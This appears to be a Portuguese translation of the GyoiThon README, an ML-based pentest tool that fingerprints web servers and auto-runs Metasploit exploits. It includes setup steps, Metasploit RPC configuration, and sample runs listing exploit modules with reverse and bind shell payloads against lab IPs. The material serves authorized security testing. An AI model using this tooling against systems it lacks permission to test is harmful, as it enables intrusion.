GyoiThon Logomarca de gyoithon

Ferramenta de Pentest (teste de intrusão) de próxima geração

GyoiThon

Local:  Business Hall, Estação Arsenal 6
Data : sexta-feira, 23 de março | 10:00 – 11:00

Track :

Avaliação de vulnerabilidade

Tipo de Sessão : Arsenal

O GyoiThon é uma ferramenta de teste de intrusão crescente usando o Deep Learning. Deep Learning melhora a precisão da classificação em proporção à quantidade de dados de aprendizagem. Portanto, o GyoiThon estará recebendo novos dados de aprendizado durante cada varredura. Como o GyoiThon usa vários recursos de software incluídos na resposta HTTP como dados de aprendizado, quanto mais você digitaliza, mais aumenta a precisão da detecção de software. Por esse motivo, o GyoiThon é uma ferramenta de teste de intrusão crescente.

O GyoiThon identifica o software instalado no servidor da web (SO, Middleware, Framework, CMS, etc …) com base nos dados de aprendizado. Depois disso, o GyoiThon executa explorações válidas para o software identificado. O GyoiThon gera automaticamente relatórios de resultados de varredura. O GyoiThon executa o processamento acima automaticamente.

O GyoiThon consiste em três motores:

  • Mecanismo de análise de software – Identifica software baseado na resposta HTTP obtida pelo acesso normal ao servidor web usando base Deep Learning e base de assinatura.
  • Mecanismo de determinação de vulnerabilidade – Ele coleta informações de vulnerabilidade correspondentes para identificar software pelo mecanismo de análise de software. E o mecanismo executa uma exploração correspondente à vulnerabilidade do software e verifica se o software é afetado pela vulnerabilidade.
  • Mecanismo de geração de relatórios – gera um relatório que resume os riscos de vulnerabilidades e a contramedida.

As ferramentas tradicionais de teste de intrusão são muito ineficientes porque executam todas as assinaturas; no entanto, ao contrário das ferramentas tradicionais de teste de intrusão, o GyoiThon é muito eficiente porque executa apenas explorações válidas para o software identificado. Como resultado, a carga do usuário será bastante reduzida, e o GyoiThon contribuirá muito para a melhoria da segurança de muitos servidores da web.

Fonte traduzida: BLACKHAT

Visão geral

O GyoiThon é uma ferramenta de teste de intrusão crescente usando Aprendizado de Máquina .

O GyoiThon identifica o software instalado no servidor da web (SO, Middleware, Framework, CMS, etc …) com base nos dados de aprendizado. Depois disso, ele executa explorações válidas para o software identificado usando o Metasploit. Finalmente, gera relatórios de resultados de varredura. O GyoiThon executa o processamento acima automaticamente .

  • Etapas de processamento
    Fluxo de processamento

O GyoiThon executa o “Passo 1” – “Passo4” acima de forma totalmente automática.
A única operação do usuário é inserir a URL superior do servidor da web de destino no GyoiThon.

Isso é muito fácil!
Você pode identificar vulnerabilidades dos servidores da Web sem gastar tempo e esforço.

Fluxo de processamento

Etapa 1. Reunir respostas HTTP.

O GyoiThon reúne várias respostas HTTP do site alvo durante o rastreamento .
A seguir, exemplos de respostas HTTP reunidas pelo GyoiThon.

  • Exemplo 1
HTTP/1.1 200 OK
Date: Tue, 06 Mar 2018 03:01:57 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Etag: "409ed-183-53c5f732641c0"
Content-Length: 15271

...snip...
  • Exemplo 2
HTTP/1.1 200 OK
Date: Tue, 06 Mar 2018 06:56:17 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Set-Cookie: f00e68432b68050dee9abe33c389831e=0eba9cd0f75ca0912b4849777677f587;
path=/;
Content-Length: 37496

...snip...
  • Exemplo 3
HTTP/1.1 200 OK
Date: Tue, 06 Mar 2018 04:19:19 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 11819

...snip...

 <script src="/core/misc/drupal.js?v=8.3.1"></script>

Etapa 2. Identifique o nome do produto.

O GyoiThon identifica o nome do produto instalado no servidor da web usando os dois métodos a seguir .

1. Baseado em Machine Learning.

Usando o Machine Learning ( Naive Bayes ), o GyoiThon identifica o software com base em uma combinação de recursos ligeiramente diferentes (valor de Etag, valor do Cookie, tag HTML específica, etc.) para cada software. Naive Bayes é aprendido usando os dados de treinamento, exemplo abaixo (dados de treinamento). Ao contrário da base de assinaturas, Naive Bayes é identificado estocasticamente com base em vários recursos incluídos na resposta HTTP quando não pode ser identificado software em um recurso.

  • Exemplo 1
Etag: "409ed-183-53c5f732641c0"

O GyoiThon pode identificar o software para servidores web Apache .
Isso ocorre porque o GyoiThon aprende os recursos do Apache, como ” Valor do cabeçalho Etag (409ed-183-53c5f732641c0). Em nossa pesquisa, o Apache usa a combinação de letras numéricas e minúsculas como o valor Etag . E o valor Etag é separado de 4 a 5 dígitos e 3-4 dígitos e 12 dígitos, o dígito final é 0 em muitos casos.

  • Exemplo 2
Set-Cookie: f00e68432b68050dee9abe33c389831e=0eba9cd0f75ca0912b4849777677f587;

GyoiThon pode identificar o CMS Joomla! .
Isso porque o GyoiThon aprende recursos do Joomla! como ” Nome do cookie (f00e6 … 9831e)” e ” Valor do cookie (0eba9 … 7f587). Em nossa pesquisa, o Joomla! usa 32 letras minúsculas como o nome do Cookie e o valor do Cookie em muitos casos.

Dados de treinamento (um exemplo)
  • Joomla! (CMS)
Set-Cookie: ([a-z0-9]{32})=[a-z0-9]{26,32};
Set-Cookie: [a-z0-9]{32}=([a-z0-9]{26,32});
...snip...
  • HeartCore (famoso CMS japonês)
Set-Cookie:.*=([A-Z0-9]{32});.*
<meta name=["'](author)["'] content=["']{2}.*
...snip...
  • Apache (software do servidor da Web)
Etag:.*".*-[0-9a-z]{3,4}-[0-9a-z]{13}")[\r\n]
...snip...
2. Com base na correspondência de cadeia.

Naturalmente, o GyoiThon pode identificar software por correspondência de seqüência de caracteres, também usado em ferramentas tradicionais de teste de intrusão. Exemplos são mostrados abaixo.

  • Exemplo 3
<script src="/core/misc/drupal.js?v=8.3.1"></script>

O GyoiThon pode identificar o Drupal do CMS .
Isso é muito fácil.

Etapa 3. Explorar usando o Metasploit.

O GyoiThon executa uma exploração correspondente ao software identificado usando o Metasploit e verifica se o software é afetado pela vulnerabilidade.

Link com Metasploit

  • Exemplo de execução
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell/reverse_nonx_tcp, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell/reverse_tcp, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell/reverse_tcp_uuid, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell_bind_ipv6_tcp, result: failure
[*] exploit/multi/http/struts_code_exec_exception_delegator, target: 1, payload: linux/x86/shell_bind_tcp, result: failure

...snip...

[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/custom, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/debug_trap, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/shell_bind_tcp, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/shell_reverse_tcp, result: failure
[*] exploit/linux/http/apache_continuum_cmd_exec, target: 0, payload: generic/tight_loop, result: bingo!!

Etapa 4. Gere o relatório de varredura.

O GyoiThon gera um relatório que resume as vulnerabilidades.
O estilo do relatório é html.

  • amostra gyoithon_report

Filme de demonstração.

IMAGE ALT TEXT AQUI

https://www.youtube.com/watch?v=jmi43eZOE9w

Instalação

Step.0 git clone O repositório do GyoiThon.

[email protected]:~# git clone https://github.com/gyoisamurai/GyoiThon.git

Passo 1. Obter python3-pip

[email protected]:~# apt-get install python3-pip

Passo 2: instale os pacotes necessários.

[email protected]:~# cd GyoiThon
[email protected]:~/GyoiThon# pip3 install -r requirements.txt

Passo 3. Edite o config.ini do GyoiThon.

Você precisa corresponder ao valor server_host com o endereço IP do seu Kali Linux.

[email protected]:~/GyoiThon# cd classifier4gyoithon
[email protected]:~/GyoiThon/classifier4gyoithon# vim config.ini
...snip...

[GyoiExploit]
server_host      : 192.168.220.144
server_port      : 55553
msgrpc_user      : test
msgrpc_pass      : test1234
timeout          : 10
LHOST            : 192.168.220.144
LPORT            : 4444

...snip...
configdescrição
server_hostEndereço IP do seu servidor que lançou o Metasploit. Seu valor de configuração ServerHostna Etapa 2.
porta do servidorQualquer número de porta do seu servidor que iniciou o Metasploit. Seu valor de configuraçãoServerPortna Etapa 2.
msgrpc_userNome de usuário do Metasploit usando autenticação. Seu valor de configuração Userna Etapa 2.
msgrpc_passSenha do Metasploit usando autenticação. Seu valor de configuração Passna Etapa 2.
LHOSTEndereço IP do seu servidor que lançou o Metasploit. Seu valor de configuração ServerHostna Etapa 2.

Step.4 Inicialize o Metasploit DB

Primeiramente, você inicializa o metasploit db (postgreSQL) usando o comando msfdb.

[email protected]:~# msfdb init

Passo 5: Inicie o Metasploit Framework

Você lança o Metasploit.

[email protected]:~# msfconsole
______________________________________________________________________________
|                                                                              |
|                   METASPLOIT CYBER MISSILE COMMAND V4                        |
|______________________________________________________________________________|
     \\                                  /                      /
      \\     .                          /                      /            x
       \\                              /                      /
        \\                            /          +           /
         \\            +             /                      /
          *                        /                      /
                                  /      .               /
   X                             /                      /            X
                                /                     ###
                               /                     # % #
                              /                       ###
                     .       /
    .                       /      .            *           .
                           /
                          *
                 +                       *

                                      ^
####      __     __     __          #######         __     __     __        ####
####    /    \\ /    \\ /    \\      ###########     /    \\ /    \\ /    \\      ####
################################################################################
################################################################################
# WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
                                                          https://metasploit.com


      =[ metasploit v4.16.15-dev                         ]
+ -- --=[ 1699 exploits - 968 auxiliary - 299 post        ]
+ -- --=[ 503 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >

Etapa 6. Iniciar o Servidor RPC

Você lança o Servidor RPC do Metasploit em seguida.

msf> load msgrpc ServerHost=192.168.220.144 ServerPort=55553 User=test Pass=test1234
[*] MSGRPC Service: 192.168.220.144:55553
[*] MSGRPC Username: test
[*] MSGRPC Password: test1234
[*] Successfully loaded plugin: msgrpc
opções de msgrpcdescrição
ServerHostEndereço IP do seu servidor que lançou o Metasploit. Acima exemplo é 192.168.220.144.
Porta do servidorQualquer número de porta do seu servidor que iniciou o Metasploit. Acima exemplo é 55553.
Do utilizadorQualquer nome de usuário usando autenticação (padrão => msf). Acima exemplo é test.
PassarQualquer senha usando autenticação (padrão => string aleatória). Acima exemplo é test1234.

Uso

Passo 1.0 Edite o arquivo de destino.

O GyoiThon acessa o servidor de destino usando host.txt.
Então, você tem que editar host.txtantes de executar o GyoiThon.

  • Exemplo de host.txt
    servidor de destino => 192.168.220.148
    porta de destino => 80
    caminho de destino => / oscommerce / catalogue /
[email protected]:~# cd GyoiThon
[email protected]:~/GyoiThon# vim host.txt
192.168.220.148 80 /oscommerce/catalog/

Você precisa separar o endereço IP, o número da porta e o caminho de destino usando um único espaço.

Etapa 1 Executar o GyoiThon

Você executa o comando seguinte do GyoiThon.

[email protected]:~/GyoiThon# python3 gyoithon.py

Passo 2: Verificar o relatório de verificação

Por favor, verifique o relatório de verificação usando qualquer navegador da web.

[email protected]:~/GyoiThon# cd classifier4gyoithon/report/
[email protected]:~/GyoiThon/classifier4gyoithon/report# firefox gyoithon_report.html

Dicas

1. Como adicionar padrões de correspondência de strings.

signatures O caminho inclui quatro arquivos correspondentes a cada categoria de produto.

[email protected]:~$ ls "gyoithon root path"/signatures/
signature_cms.txt
signature_framework.txt
signature_os.txt
signature_web.txt
  • signature_cms.txt
    Inclui padrões de correspondência de strings do CMS.
  • signature_framework.txt
    Inclui padrões de correspondência de strings do FrameWork.
  • signature_os.txt
    Inclui padrões de correspondência de strings do sistema operacional.
  • signature_web.txt
    Inclui padrões de correspondência de strings do software do servidor da Web.

Se você quiser adicionar novos padrões de correspondência de strings, adicione novos padrões de correspondência de strings na última linha de cada arquivo.

ex) Como adicionar um novo padrão de correspondência de strings do CMS em signature_cms.txt.

[email protected](Powered by TikiWiki)
[email protected]<.*=(.*/wp-).*/.*>
[email protected](<meta name="generator" content="WordPress).*>

...snip...

[email protected]*(href="fileadmin/templates/).*>
[email protected](<meta name="generator" content="TYPO3 CMS).*>
"new product name"@"regex pattern"
[EOF]
Nota
O nome do novo produto acima deve ser um nome que o Metasploit possa identificar. E você tem que separar o novo nome do produto e o padrão regex usando @.

2. Como adicionar dados de aprendizagem.

signatures O caminho inclui quatro arquivos correspondentes a cada categoria de produto.

[email protected]:~$ ls "gyoithon root path"/classifier4gyoithon/train_data/
train_cms_in.txt
train_framework_in.txt
train_os_in.txt
train_web_in.txt
  • train_cms_in.txt
    Inclui dados de aprendizagem do CMS.
  • train_framework_in.txt
    Inclui dados de aprendizagem do FrameWork.
  • train_os_in.txt
    Inclui dados de aprendizagem do sistema operacional.
  • train_web_in.txt
    Inclui dados de aprendizagem do software do servidor da Web.

Se você quiser adicionar novos dados de aprendizado, adicione dados de aprendizado na última linha de cada arquivo.

ex) Como adicionar novos dados de aprendizado do CMS em train_cms_in.txt.

[email protected](Set-Cookie: [a-z0-9]{32}=.*);
[email protected](Set-Cookie: .*=[a-z0-9]{26,32});

...snip...

[email protected](xoops\.js)
[email protected](xoops\.css)
"new product name"@"regex pattern"
[EOF]
Nota
O nome do novo produto acima deve ser um nome que o Metasploit possa identificar. E você tem que separar o novo nome do produto e o padrão regex usando @.

Além disso, como o GyoiThon recorre a novos dados de treinamento, você precisa excluir dados de treinamento antigos ( *.pkl).

[email protected]:~$ ls "gyoithon root path"/classifier4gyoithon/trained_data/
train_cms_out.pkl
train_framework_out.pkl
train_web_out.pkl
[email protected]:~$ rm "gyoithon root path"/classifier4gyoithon/trained_data/*.pkl

3. Como mudar “Opção do módulo de exploração”.

Quando o GyoiThon explora, ele usa o valor padrão das opções do módulo Exploit.
Se você quiser alterar valores de opção, por favor introduza qualquer valor para "user_specify"em exploit_tree.jsoncomo seguir.


"unix/webapp/joomla_media_upload_exec": {
    "targets": {
        "0": [
            "generic/custom",
            "generic/shell_bind_tcp",
            "generic/shell_reverse_tcp",

...snip...

        "TARGETURI": {
            "type": "string",
            "required": true,
            "advanced": false,
            "evasion": false,
            "desc": "The base path to Joomla",
            "default": "/joomla",
            "user_specify": "/my_original_dir/"
        },

O exemplo acima é para alterar o valor da TARGETURIopção no módulo de exploração ” exploit/unix/webapp/joomla_media_upload_exec” para ” /my_original_dir/” de ” /joomla“.

4. Como usar cada instância.

GyoiClassifier.py

Você pode usar o log “webconf.csv” reunido pelo GyoiThon ou o log coletado pelo GyoiClassifier para identificar produtos operados no servidor de destino. Em seguida, o produto é identificado usando o aprendizado de máquina.

  • Uso (usando webconf.csv) O
    GyoiClassifier identifica o nome do produto usando webconf.csv.
[email protected]:~$ python GyoiClassifier.py -h
GyoiClassifier.py
Usage:
    GyoiClassifier.py (-t <ip_addr> | --target <ip_addr>) (-p <port> | --port <port>) (-v <vhost> | --vhost <vhost>) [(-u <url> | --url <url>)]
    GyoiClassifier.py -h | --help
Options:
    -t --target   Require  : IP address of target server.
    -p --port     Require  : Port number of target server.
    -v --vhost    Require  : Virtual Host of target server.
    -u --url      Optional : Full URL for direct access.
    -h --help     Optional : Show this screen and exit.

[email protected]:~$ python GyoiClassifier.py -t 192.168.220.148 -p 80 -v 192.168.220.148

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  ███╗   ███╗ █████╗  ██████╗██╗  ██╗██╗███╗   ██╗███████╗
  ████╗ ████║██╔══██╗██╔════╝██║  ██║██║████╗  ██║██╔════╝
  ██╔████╔██║███████║██║     ███████║██║██╔██╗ ██║█████╗
  ██║╚██╔╝██║██╔══██║██║     ██╔══██║██║██║╚██╗██║██╔══╝
  ██║ ╚═╝ ██║██║  ██║╚██████╗██║  ██║██║██║ ╚████║███████╗
  ╚═╝     ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚══════╝

 ██╗     ███████╗ █████╗ ██████╗ ███╗   ██╗██╗███╗   ██╗ ██████╗
 ██║     ██╔════╝██╔══██╗██╔══██╗████╗  ██║██║████╗  ██║██╔════╝
 ██║     █████╗  ███████║██████╔╝██╔██╗ ██║██║██╔██╗ ██║██║  ███╗
 ██║     ██╔══╝  ██╔══██║██╔══██╗██║╚██╗██║██║██║╚██╗██║██║   ██║
 ███████╗███████╗██║  ██║██║  ██║██║ ╚████║██║██║ ╚████║╚██████╔╝
 ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝╚═╝  ╚═══╝ ╚═════╝
      __      _   _      _   _                 _        _
     / /  ___| |_( )__  | |_| |__   ___  _ __ | |_ __ _| | __
    / /  / _ \ __|/ __| | __| '_ \ / _ \| '_ \| __/ _` | |/ /
   / /__|  __/ |_ \__ \ | |_| | | | (_) | | | | || (_| |   <
   \____/\___|\__||___/  \__|_| |_|\___/|_| |_|\__\__,_|_|\_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
by GyoiClassifier.py

------------------------------------------
target     : 192.168.220.148(192.168.220.148):80
target log : "gyoithon root path"../gyoithon\get_192.168.220.148_80_ip.log

[+] judge :
[-] category : web server
    product  : unknown
    too low maximum probability.
[-] category : framework
    product  : unknown
    too low maximum probability.
[-] category : cms
    -----
    ranking 1
    product     : heartcore
    probability : 6.8966 %
    reason      : [['Set-Cookie: PHPSESSID=44ec9b66c633a7abc374e5f9a4ad4be3', 'Set-Cookie:  PHPSESSID=b1f9a2c2be74f3b3507d5cbb8ea78c75']]
    -----
    ranking 2
    product     : oscommerce
    probability : 6.8966 %
    reason      : [['Set-Cookie: PHPSESSID=44ec9b66c633a7abc374e5f9a4ad4be3', 'Set-Cookie: PHPSESSID=b1f9a2c2be74f3b3507d5cbb8ea78c75']]
    -----
    ranking 3
    product     : joomla
    probability : 6.6667 %
    reason      : [['Set-Cookie: PHPSESSID=44ec9b66c633a7abc374e5f9a4ad4be3', 'Set-Cookie: PHPSESSID=b1f9a2c2be74f3b3507d5cbb8ea78c75']]
------------------------------------------

[+] done GyoiClassifier.py
GyoiClassifier.py finish!!
  • Uso (usando log auto-reunido) O
    GyoiClassifier identifica o nome do produto usando o log de auto-coleta.
[email protected]ient:~$ python GyoiClassifier.py -t 192.168.220.129 -p 80 -v www.example.com -u http://www.example.com/

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  ███╗   ███╗ █████╗  ██████╗██╗  ██╗██╗███╗   ██╗███████╗
  ████╗ ████║██╔══██╗██╔════╝██║  ██║██║████╗  ██║██╔════╝
  ██╔████╔██║███████║██║     ███████║██║██╔██╗ ██║█████╗
  ██║╚██╔╝██║██╔══██║██║     ██╔══██║██║██║╚██╗██║██╔══╝
  ██║ ╚═╝ ██║██║  ██║╚██████╗██║  ██║██║██║ ╚████║███████╗
  ╚═╝     ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚══════╝ 

 ██╗     ███████╗ █████╗ ██████╗ ███╗   ██╗██╗███╗   ██╗ ██████╗ 
 ██║     ██╔════╝██╔══██╗██╔══██╗████╗  ██║██║████╗  ██║██╔════╝ 
 ██║     █████╗  ███████║██████╔╝██╔██╗ ██║██║██╔██╗ ██║██║  ███╗
 ██║     ██╔══╝  ██╔══██║██╔══██╗██║╚██╗██║██║██║╚██╗██║██║   ██║
 ███████╗███████╗██║  ██║██║  ██║██║ ╚████║██║██║ ╚████║╚██████╔╝
 ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝╚═╝  ╚═══╝ ╚═════╝ 
     __      _   _      _   _                 _        _    
    / /  ___| |_( )__  | |_| |__   ___  _ __ | |_ __ _| | __
   / /  / _ \ __|/ __| | __| '_ \ / _ \| '_ \| __/ _` | |/ /
  / /__|  __/ |_ \__ \ | |_| | | | (_) | | | | || (_| |   < 
  \____/\___|\__||___/  \__|_| |_|\___/|_| |_|\__\__,_|_|\_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
by GyoiClassifier.py

------------------------------------------
target     : http://www.example.com/
target log : not use

[+] judge :
[-] category : web server
    product  : unknown
    too low maximum probability.
[-] category : framework
    -----
    ranking 1
    product     : php
    probability : 66.6667 %
    reason      : [['Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe']]
[-] category : cms
    -----
    ranking 1
    product     : joomla
    probability : 13.3333 %
    reason      : [['Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe; path=/'], ['Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe'], ['Joomla!']]
    -----
    ranking 2
    product     : heartcore
    probability : 6.8966 %
    reason      : [['Set-Cookie: f00e68432b68050dee9abe33c389831e=a3daf0eba60a5f11c95e4563c4eccebe']]
------------------------------------------

[+] done GyoiClassifier.py
GyoiClassifier.py finish!!
opçãorequeridosdescrição
-t, –targetsimEndereço IP do servidor de destino.
-p, –portsimNúmero da porta de destino.
-v, –vhostsimHost virtual do servidor de destino. Se o servidor de destino não tiver host virtual, você indicará o endereço IP.
-u, –urlnãoURL do servidor de destino. Se você deseja reunir novos logs de qualquer servidor, indique o URL do servidor de destino.
GyoiExploit.py

Você pode executar exploits completamente usando todas as combinações de “Exploit module”, “Target” e “Payload” do Metasploit correspondentes ao nome do produto indicado pelo usuário e ao número da porta.

  • Uso
[email protected]:~$ python GyoiExploit.py -h
GyoiExploit.py
Usage:
    GyoiExploit.py (-t <ip_addr> | --target <ip_addr>) (-p <port> | --port <port>) (-s <service> | --service <service>)
    GyoiExploit.py -h | --help

Options:
    -t --target   Require  : IP address of target server.
    -p --port     Require  : Port number of target server.
    -s --service  Require  : Service name (product name).
    -h --help     Optional : Show this screen and exit.

[email protected]:~$ python GyoiExploit.py -t 192.168.220.145 -p 3306 -s mysql

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  ███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗██╗██╗
  ██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝██║██║
  █████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║   ██║██║
  ██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║   ╚═╝╚═╝
  ███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║   ██╗██╗
  ╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝   ╚═╝╚═╝
    __      _   _      _   _                 _        _
   / /  ___| |_( )__  | |_| |__   ___  _ __ | |_ __ _| | __
  / /  / _ \ __|/ __| | __| '_ \ / _ \| '_ \| __/ _` | |/ /
 / /__|  __/ |_ \__ \ | |_| | | | (_) | | | | || (_| |   <
 \____/\___|\__||___/  \__|_| |_|\___/|_| |_|\__\__,_|_|\_
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
by GyoiExploit.py

[+] Get exploit list.
[*] Loading exploit list from local file: C:\Users\i.takaesu\Documents\GitHub\GyoiThon\classifier4gyoithon\data\exploit_list.csv
[+] Get exploit tree.
[*] Loading exploit tree from local file: C:\Users\i.takaesu\Documents\GitHub\GyoiThon\classifier4gyoithon\data\exploit_tree.json
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/custom, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/debug_trap, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/shell_bind_tcp, result: bingo!!
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/shell_reverse_tcp, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 0, payload: generic/tight_loop, result: failure 

...snip...

[*] exploit/linux/mysql/mysql_yassl_getname, target: 1, payload: linux/x86/shell_bind_tcp_random_port, result: failure
[*] exploit/linux/mysql/mysql_yassl_getname, target: 1, payload: linux/x86/shell_reverse_tcp, result: failure
[*] exploit/linux/mysql/mysql_yassl_hello, target: 0, payload: generic/custom, result: failure
[*] exploit/linux/mysql/mysql_yassl_hello, target: 0, payload: generic/debug_trap, result: bingo!!
[*] exploit/linux/mysql/mysql_yassl_hello, target: 0, payload: generic/shell_bind_tcp, result: failure

...snip...
opçãorequeridosdescrição
-t, –targetsimEndereço IP do servidor de destino.
-p, –portsimNúmero da porta de destino.
-s, –serviçosimNome do serviço de destino identificável pelo Metasploit.

Se você quiser alterar as opções do “módulo de exploração”, consulte esta seção [3. Como mudar “Opção do módulo de exploração”].

 

Fonte traduzida: https://github.com/gyoisamurai/GyoiThon#overview